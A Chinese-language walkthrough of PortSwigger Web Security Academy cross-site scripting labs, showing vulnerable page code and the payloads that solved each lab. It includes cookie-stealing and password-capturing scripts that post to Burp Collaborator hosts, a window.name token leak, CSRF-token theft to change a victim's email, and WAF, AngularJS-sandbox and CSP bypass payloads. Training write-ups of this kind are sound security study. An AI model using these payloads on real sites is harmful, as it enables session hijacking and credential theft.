https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS

反射(1)

image-20221110132745836

<script>alert(/1/)</script>

image-20221110133037084

image-20221110133054795

存储(2)

这里需要先存储xss到数据库接着查看

image-20221110133345694

image-20221110133338257

image-20221110133534222

image-20221110133545825

dom(3)

这里是使用的 dom

image-20221110142426127

这里先进行

image-20221110142604085

可以看到这里多了一段代码

<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>

image-20221110143051451

这里尝试去构造一下

document.write('<img src="/resources/images/tracker.gif?searchTerms='+"><script>alert(/1/)</script>"+'">');

image-20221110144734298

image-20221110144743275

"><svg onload=alert(1)>

SVG用来绘画矢量图 onload 在 SVG 文档被浏览器完全解析之后触发动作。 使用此事件调用一次性初始化功能。

image-20221110182810990

innerHTML(4)

image-20221110184718071

<h1><span>2 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}

var query = (new URLSearchParams(window.location.search)).get('search');
if (query) {
doSearchQuery(query);
}
</script>

这里使用的是 innerHTML 去给serarchMessage 赋值

image-20221110184826377

这里直接插入script 语句发现也没什么问题 但是却没有弹窗 说明innetHTML对我输入的请求又进行了一次 解码

image-20221110193133036

这里尝试先去html编码试试 那么这里解析一次后应该是<script>alert(1)</script> 如果innerHTML是解析后直接显示就应该弹窗,查看处理后的源代码输出是 <script>alert(1)</script> 那么就清楚了innerHTML在javascript处理的时候做过一次HTML解析,然后到了浏览器加载页面时又做了一次HTML编码

image-20221110193441828

这里便换了一种方式执行

<img src=1 onerror=alert(1)>

改src属性的值无效并引发错误 会触发 onerror 事件处理程序 然后调用alert函数

image-20221110190824596

jQuery查找锚元素(5)

这里尝试

image-20221110200835856

image-20221110200831309

没反应

image-20221110201844993

image-20221110201906255

<div class="is-linkback">
<a id="backLink">Back</a>
</div>
<script>
$(function () {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

#backLink 选择id 为 backLink 的元素 attr() 用于设置 href属性的值

image-20221113223248562

javascript:alert(document.cookie)

image-20221113223548882

尖括号的 HTML 编码(6)

这里进行了 < 的过滤

image-20221117192743538

<script>alert(/1/)</script>

可以看到这里的pyload已经失效了

image-20221117194304458

<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">

尝试去闭合属性构造payload

image-20221117194614314

" onmouseover="alert(1)

image-20221117194755820

href带有双引号 HTML 编码(7)

image-20221117194834458

image-20221117194949684

image-20221117195045237

尝试构造javascript: 伪协议

javascript:alert(1)

image-20221117195527873

image-20221117195628045

js代码注入(8)

这里提示我们有js注入

image-20221117202642198

image-20221117202836187

根据颜色来看成功注入了

'-alert(1)-'

image-20221117203018176

image-20221117203042489

location.search select DOM XSS(9)

url dom xss

image-20221117203343240

image-20221117203515066

这里可以看到其实也像是注入

image-20221117205042907

<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="1">
<script>
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
//这里是取url中的storeId的值
document.write('<select name="storeId">');
//这里是写入html中
if (store) {
document.write('<option selected>' + store + '</option>');
//拼接写入
}
for (var i = 0; i < stores.length; i++) {
if (stores[i] === store) {
continue;
}
document.write('<option>' + stores[i] + '</option>');
}
document.write('</select>');
</script>
<button type="submit" class="button">Check stock</button>
</form>

看到注入后的结果

image-20221117205145644

那么这里尝试把标签闭合 接着注入我们的html代码

1</option></select><script>alert(1)</script>

image-20221117205509520

AngularJS 表达式中的 DOM XSS(10)

这里告诉我们是 AngularJS 的xss漏洞

image-20221117212425834

简单看一下 写的是当 标签包含 ng-app属性的时候就可执行 AngularJS 的表达式 而这个表达式与一般的模板语言大致类似

image-20221117212540970

这里进来之后发现整个body 都可以执行 angular代码 那么我们这里进行尝试

image-20221117212726966

{{ 1+1 }}

image-20221117212817541

通过翻看 burp的文章可以发现 这里存在绕过的payload

https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

image-20221117215648006

{{constructor.constructor('alert(1)')()}}

image-20221117215752088

反射 DOM XSS(11)

image-20221118111926170

image-20221118112016238

<script>function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
//这里代表当页面的 请求状态改变之后执行的代码
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
//这里通过eval执行了 js代码 并且这里是进行了拼接操作
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();

function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
// 通过clasname找到元素
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
// 取出 searchResultsObj 中的searchTerm属性
var searchResults = searchResultsObj.results

var h1 = document.createElement("h1");
h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
// 添加到h1中去
blogHeader.appendChild(h1);
var hr = document.createElement("hr");
blogHeader.appendChild(hr)

for (var i = 0; i < searchResults.length; ++i)
{
var searchResult = searchResults[i];
if (searchResult.id) {
var blogLink = document.createElement("a");
// 添加a标签
blogLink.setAttribute("href", "/post?postId=" + searchResult.id);
// 存放查到的id进去
if (searchResult.headerImage) {
var headerImage = document.createElement("img");
//添加img标签
headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
//存放 属性进去
blogLink.appendChild(headerImage);
}

blogList.appendChild(blogLink);
}

blogList.innerHTML += "<br/>";

if (searchResult.title) {
var title = document.createElement("h2");
title.innerText = searchResult.title;
blogList.appendChild(title);
}

if (searchResult.summary) {
var summary = document.createElement("p");
summary.innerText = searchResult.summary;
blogList.appendChild(summary);
}

if (searchResult.id) {
var viewPostButton = document.createElement("a");
viewPostButton.setAttribute("class", "button is-small");
viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
viewPostButton.innerText = "View post";
}
}

var linkback = document.createElement("div");
linkback.setAttribute("class", "is-linkback");
var backToBlog = document.createElement("a");
backToBlog.setAttribute("href", "/");
backToBlog.innerText = "Back to Blog";
linkback.appendChild(backToBlog);
blogList.appendChild(linkback);
}
}
</script>

仔细看一下这里其实去发送了一个http请求

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
//这里代表当页面的 请求状态改变之后执行的代码
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
//这里通过eval执行了 js代码 并且这里是进行了拼接操作
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();

image-20221118113437998

这里去尝试闭合一下json请求去执行js代码

{"results":[],"searchTerm":""}-alert(1)//"}
"}-alert(1)//

image-20221118120011077

但是发现转义了 “

接着尝试

\"}-alert(1)//

image-20221118120025529

发现成功逃逸

那么这里是怎么执行的呢 我们来尝试调试一下 在eval这里打个断点

image-20221118120138960

image-20221118120231085

可以看到 js代码执行过程

image-20221118120242937

image-20221118120304545

存储型 DOM XSS(12)

image-20221118120645233

image-20221118120637677

<script>
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
// json 解析 响应
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();

function escapeHTML(html) {
return html.replace('<', '&lt;').replace('>', '&gt;');
// 这里调用了 replace 方法去过滤 <
}

function displayComments(comments) {
let userComments = document.getElementById("user-comments");

for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");

let firstPElement = document.createElement("p");

let avatarImgElement = document.createElement("img");
avatarImgElement.setAttribute("class", "avatar");
avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
//如果存在avatar 就过滤

if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}

let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
firstPElement.innerHTML = newInnerHtml
}

if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();

if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;

dateStr = [day, month, year].join('-');

let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}

firstPElement.appendChild(avatarImgElement);

commentSection.appendChild(firstPElement);

if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);

commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));

userComments.appendChild(commentSection);
}
}
};

</script>

简单看一下这两段代码就可以发现怎么绕过了

"<>".replace('<', '&lt;').replace('>', '&gt;')
"<><>".replace('<', '&lt;').replace('>', '&gt;')

image-20221118122500940

看下源码

image-20221118122620964

image-20221118122649485

同样我们对比着js响应去查看下

image-20221118123304600

<><img src=1 onerror=alert(1)>

尝试下

image-20221118123456616

image-20221118123512412

image-20221118123646026

尝试下

image-20221118124053734

存在xss

image-20221118124118598

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
// 向服务器请求并获取其中的内容
method: 'POST',
mode: 'no-cors',
// 当遇到cors错误时进行静默处理不抛出异常
body:document.cookie
// 正文是cookie
});
</script>

那么这里的url当然应该是攻击者能够接收信息的url

image-20221118175948812

image-20221118180016926

这里便拿到了cookie

image-20221118180059540

尝试使用cookie登录

image-20221118180147725

image-20221118180217807

利用跨站点脚本捕获密码(14)

image-20221118182006625

image-20221118182240681

存在xss

image-20221118182259560

这里的目的是让我们去获取到用户的姓名和密码

这样尝试下

image-20221118181958569

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://u50cnd2msgfvrahbwsqqe5rdj4pwdl.burpcollaborator.net',{
// 当长度改变就发请求出去
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

image-20221118190519309

成功拿到账号密码

image-20221118191009108

image-20221118191033377

利用 XSS 执行 CSRF(15)

image-20221118191400412

给了个账号密码 wiener:peter 还说有csrf

先看下 xss

image-20221118192833516

image-20221118192907847

测试下csrf

image-20221118193105039

重放这个csrf值试试 发现可以重复使用

image-20221118193202140

尝试下

var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=bzRUdarVJuLrBhGd9L0WOELcXgBeGvXR&email=123@test.com')

image-20221118194518882

可以执行 但是这里的 csrf 值有点局限性我们换一种写法

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
//onload代表在xml执行完之后执行的代码
req.open('get', '/my-account', true);
req.send();

function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// 正则匹配出其中的csrf值
var changeReq = new XMLHttpRequest();
//发送新的请求去更改邮箱
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com');
}

</script>

image-20221118195140154

image-20221118195151456

XSS绕过waf(16)

image-20221118195224366

这里存在xss但是也有waf过滤了标签

尝试一下基础语法

image-20221118203634438

这里返回的是标签不被允许

尝试标签那个可以执行

image-20221118204127552

image-20221118204035210

image-20221118204158374

只有两个标签可行

image-20221118204244352

image-20221118204640057

尝试属性 这里就复制第一个去尝试

image-20221118204710099

这里重新标记

image-20221118204750585

image-20221118204836434

image-20221118204939750

image-20221118205059512

<body onresize=alert(1)>

image-20221118205132369

当调整窗口大小的时候触发

image-20221118205327033

书写payload

<iframe src="https://0aa200d50461d5b9c01b740a00220073.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E" onload=this.style.width='100px'>

image-20221118210230025

image-20221118210246935

XSS自定义标签(17)

image-20221118212441277

这里翻了下发现个payload

image-20221118213624936

我们直接查看payload

<xss id=x onfocus=alert(document.cookie) tabindex=1>#x

onfocus 代表当 光标聚焦到此标签的时候就会 执行js代码 而后面的 tabindex 表示该元素是可聚焦的 而最后的#x 则是与 id=x 进行配合 id=x 代表改标签的id是x 而#x 则是通过锚点聚焦到该标签上面 这样就能执行js代码了

最终版本

<iframe src="https://0aed001303fc338ac0ba605f00080033.web-security-academy.net/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x">

image-20221118213926783

SVG 标记的反射型 XSS(18)

image-20221118215840886

image-20221118220229463

image-20221118215830422

可以看到有几个标签可行

image-20221118222114133

拿过来尝试下属性

image-20221118222254066

image-20221118222303209

拿过来直接试

image-20221119111923282

<svg><animatetransform onbegin=alert(1) attributeName=transform>

image-20221119112005660

在规范链接标签中反映 XSS(19)

image-20221119132253873

这里好像是crome的特性

'accesskey='x'onclick='alert(1)

image-20221119132316008

XSS 反射到 JavaScript 字符串中,并转义了单引号和反斜杠(20)

image-20221119132424476

测试下 可以看到没有闭合标签 并且标签也没有转义

可以看到转义了’

image-20221119132644785

可以看到转义了 \

image-20221119132723913

</script><script>alert(1)</script>

image-20221119132826691

image-20221119132933376

将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义(21)

image-20221119132957057

image-20221119133610183

image-20221119133806270

成功逃逸

image-20221119133935364

\'-alert(1)//

image-20221119134021451

image-20221119134040178

使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码和单引号和反斜杠转义(22)

image-20221119134106069

image-20221119134345915

image-20221119134435086

这里尝试单引号闭合

'-alert(1)-'

image-20221119134813756

image-20221119134819011

发现字符存在转义 那么这里我们可以进一步尝试一下 由于这个数据是从数据库中取出的 因此使用html编码进行尝试

&apos;-alert(1)-&apos;

image-20221119162502050

image-20221119162708767

image-20221119162631571

将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义(23)

image-20221119163149141

image-20221119164448123

var message = `0 search results for '${alert(1)}'`;

这里的 `` 其实就是代表可以使用模板语句的意思

这里使用的 js 的模板语句 ${}里边是相当于js代码

${alert(1)}

image-20221119163917496

image-20221119165017127

事件处理程序和href属性被阻止的反射型 XSS(24)

image-20221119165146360

image-20221119194353632

image-20221119194338801

其中可以看到几个标签

image-20221119194441662

image-20221119195652626

查看这篇文章可以发现大致思路

https://portswigger.net/research/svg-animate-xss-vector

image-20221119200334774

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

image-20221119171700514

在 JavaScript URL 中反映了 XSS,并阻止了一些字符(25)

image-20221119172216873

image-20221119202120828

image-20221119202127750

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>

这里看到url中的 值在这里出现了

简单试一下

/post?postId=1&'1337

image-20221120210623291

这里可以看到我们填入的 ‘ 被url编码了 那么你可能再想这里能执行吗

简单尝试下

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26%27-alert%281%29-%27'})
.finally(_ => window.location = '/')">Back
to Blog</a>



image-20221120211149797

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26&#39;-alert%281%29-&#39;'})
.finally(_ => window.location = '/')">Back
to Blog</a>

image-20221120211230867

两种方式都能弹 这里的原因是由于这段字符执行顺序是 html解码-> url解码 -> javascript解析

/post?postId=1&'-alert(1337)-'

可以看到( )没了

image-20221120212329443

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%265&'},
x=x=>{
<!--=> 使用匿名函数 -->
throw/**/onerror=alert,1337
//抛出一个异常 弹出1337
}
,toString=x,window+'',{x:''})
//将x转换为字符串
.finally(_ => window.location = '/')">Back
to Blog</a>

看不太懂

post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

image-20221120215257200

image-20221120215306403

AngularJS 沙箱转义而不使用字符串的反射型 XSS(26)

绕沙箱

image-20221120222501663

还是这个文章 看不太懂

https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs#top
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

image-20221120222732468

image-20221120222724486

使用 AngularJS 沙箱转义和 CSP 的反射 XSS(27)

image-20221123175609179

<script>
location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x';
</script>

这里可以看到是通过 AngularJS 来绕过的csp机制

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
<script>
location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

image-20221123180106569

CSP 保护的反射型 XSS,带有悬挂标记攻击(28)

image-20221123182514633

悬挂标记攻击

https://portswigger.net/web-security/cross-site-scripting/dangling-markup

这里有一个email参数 其中在页面上是有回显的

?email=1232132

image-20221123195901297

image-20221123195916477

<form action="/my-account/change-email" class="login-form" method="POST" name="change-email-form">
<label>Email</label>
<input name="email" required type="email" value="1232132">
<input name="csrf" required type="hidden" value="rWbiqj3aeSzjosrrn7qdqGzsdrPuNI9F">
<button class='button' type='submit'> Update email</button>
</form>

可见这里的 value直接插入了 html中 我们尝试闭合一下 刚好这里也没有过滤 “>

/my-account?email=1232132"><a+href%3d"https%3a//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click+me</a><base+target%3d

这样一构造就变成了 值了

image-20221123200620453

window.name跨域

https://www.cnblogs.com/Walker-lyl/p/7454522.html

js中几种实用的跨域方法原理详解

https://www.cnblogs.com/fliu/articles/5249130.html

我们来看下官方的构造方法

<script>
if(window.name) {
new Image().src='//uzx25ua3zzzar7j0b9mqbfs1csil6a.burpcollaborator.net?'+encodeURIComponent(window.name);
} else {
location = 'https://0a9200b003b6fd42c0d343d600c200fd.web-security-academy.net/email?email=%22%3E%3Ca%20href=%22https://exploit-0a4e00e903cffd99c04c43e201dd00d4.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

这里没有明显传递window.name 但是这里用到了 <base target=xxx> 尝试一下发现 使用 <base target=xxx> 指定target跳转(a标签 或者location= ),那么target的值会传给跳转后页面的window.name

也就是这样的流程 首先我们 在我们的攻击者服务器上面托管上述代码 当受害者访问时 由于第一次 window.name 为空 因此直接定位到 有漏洞的网站

image-20221123212314092

接着受害者点击Click me

image-20221123212328534

又会跳转回攻击者的服务器 而这次的跳转正如上面所说的是带有数据的 也就是在 window.name中 因此这时 if语句进入 加载了 image 页面 将数据带入到了 collaborator

image-20221123213108733

拿到数据

image-20221123213146888

成功拿到csrf 的值

Ibsga6CqlfI4i2dVSY14boHMlR2Xasr4

修改email处抓包

image-20221123213259441

image-20221123213504506

修改两处值

image-20221123213730941

image-20221123213959040

受 CSP 保护的反射型 XSS,绕过 CSP(29)

image-20221123214436978

image-20221123214410585

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

这里有一个 report-uri /csp-report?token= 意思就是把token里的策略发布到对应站点(自定义策略),通过get传值即可,构造payload

?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline' 

-elem可以管理 script-src的规则,利用这个参数,可以重写规则

image-20221123215107985